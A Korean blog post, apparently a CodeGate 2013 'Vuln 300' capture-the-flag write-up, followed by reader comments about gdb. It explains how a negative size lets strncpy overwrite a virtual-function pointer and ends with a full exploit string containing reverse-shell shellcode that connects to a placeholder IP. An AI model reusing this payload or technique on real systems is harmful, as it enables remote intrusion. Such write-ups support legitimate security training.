본문 바로가기

Security

[Pwnable] 2013 CodeGate / Vuln 300

Vulnerable 300

파일을 실행하면, 숫자와 문자열을 입력하라고 한다.


숫자에 32를 입력하고 "aaaa"문자열을 입력하면 A~Z, [~'의 문자열과 함께 입력한 "aaaa"가 출력 된다.

숫자에 2048을 입력하고 "aaaa"를 입력하면 "aaaa" 그대로 출력 된다.

숫자에 -1을 입력하면 Segmentation fault를 출력하며 종료한다.

이제, 프로그램을 IDA로 분석을 한다.



v0에 2052 byte를 할당하고, s(buffer)에 숫자와 문자열을 입력 받는다. 그리고 sub_8048840(class, buffer, size)를 통해 함수를 호출하고, 함수 포인터(정상: reply:)를 호출한다.



sub_8048840(class, buffer, size)를 살펴보면 cmp를 통해 size가 7FFh보다 크면 2번 루트로 가고, 작으면 1번 루트로 간다.

위의 함수를 hex-ray로 분석한다.


for ( i = 0; (-4 ^ (-4 >> 31)) - (-4 >> 31) > i; ++i )
*(_BYTE *)(dest + i + 4) = i + 65;
result =
strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ (-4 >> 31)) - (-4 >> 31)));

for문 안의 연산을 해 보면,

for ( i = 0; (-4 ^ -1) - -1 > i; ++i )
*(_BYTE *)(dest + i + 4) = i + 65;
result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ -1) - -1));

------------------------------------------------------------------------------------------------------------------------------
for ( i = 0; 4 > i; ++i )
*(_BYTE *)(dest + i + 4) = i + 65;
result = strncpy((char *)(dest), src, 2044);

결과를 보면, 2번과 달리 1번 루틴에서 -4 값을 넣을 경우, class라고 정해 놓은 변수 처음부터 값을 2044bytes 덮어 쓸 수 있게 된다.




.text:08048825 mov eax, [ebp+var_C] ; myClass
.text:08048828 mov eax, [eax] ; virtual function pointer offset
.text:0804882A mov edx, [eax] ; virtual function offset
.text:0804882C mov eax, [ebp+var_C]
.text:0804882F mov [esp], eax
.text:08048832 call edx ; call virtual function

myClass가 갖고 있는 값을 eax에 옮기고, eax에 닮겨 있는 값을 eax로 옮긴다,



eax의 값이 ABCD로 바뀐 것을 볼 수 있다. 그리고 0x44434241에 주소 값에 넣어져 있는 값을 edx에 옮기고 call edx를 실행한다.
현재 0x44434241은 비정상적인 주소 값이므로, Segmentation fault가 일어나게 된다.

이제 공격 코드를 만들어 보면,

[A][B][ShellCode]가 된다. A는 B의 offset 값 B는 shellcode의 offset 값이 된다. //왜 [A][ShellCode]가 안되는지 잘 모르겠음

공격 코드 :

\xe4\x91\x04\x08\xe8\x91\x04\x08\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68+"IP"+\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 //port = 45295 // localhost가 \x01\x00\x00\x7F 이므로 strncpy에서 \x00에 의해 짤리므로 localhost 실패

'Security' 카테고리의 다른 글

[ Pwnable ] SIS / System 2  (0) 2013.04.01
[ Pwnable ] SIS / System 1  (0) 2013.04.01
[Reversing] rootkit 1  (0) 2013.04.01
[Pwnable] 2013 CodeGate / Vuln 300  (6) 2013.03.15
[Pwnable] BOF 원정대  (0) 2012.11.06
Linux란?  (2) 2012.04.19
  • 질문이 있어서 댓글 남깁니다...
    분석에서 사용하신 gdb가 특이한데 어떤건지 궁금합니다.
    그리고 일반 gdb로는 디버깅이 안되던데, 어떻게 해결하신건지 궁금하네요...

    • gdbinit이라고 있는데 이를 이용해서 홈 폴더에 .gdbinit 이란 이름으로 해 놓으면 gdb에적용됩니다.ㅎㅎㅎㅎㅎ잘사용하세요

  • gdb에 안올라가는건 저도 잘 모르겠네요;; 잘 됐던것 같은데

  • 음... 그러니까 설정파일을 바꾸면 되는거네요.. ㅎㅎ 해보니까 잘되네요. 감사합니다.
    그런데 제가 초보라 잘몰라서 그런데
    disas main명령이 먹히지 안아서. gdb에 안올라간다고 이야기한건데 ida로 디버깅하고싶은 주소를 보고
    그주소에 직접 브포를 걸고 run시키니까 되는데 원래 이런식으로 하는 건가요?

    • 네 제가 푼지 오래되서 잘 기억은 안나는데 아마 elf 파일이 strip 돼 있어서 함수 symbol들이 다 없을거에요 그럴 경우는 s2uid 님이 하신것처럼 직접 브포를 걸고 디버그 하는 수 밖에 없어요

  • 아 혹시 관심있으시면 gdb peda 라고 한번 써보세요 저도 찾다가 나온건데 gdbinit보다 괜찮아 보이네요 ㅋㅋ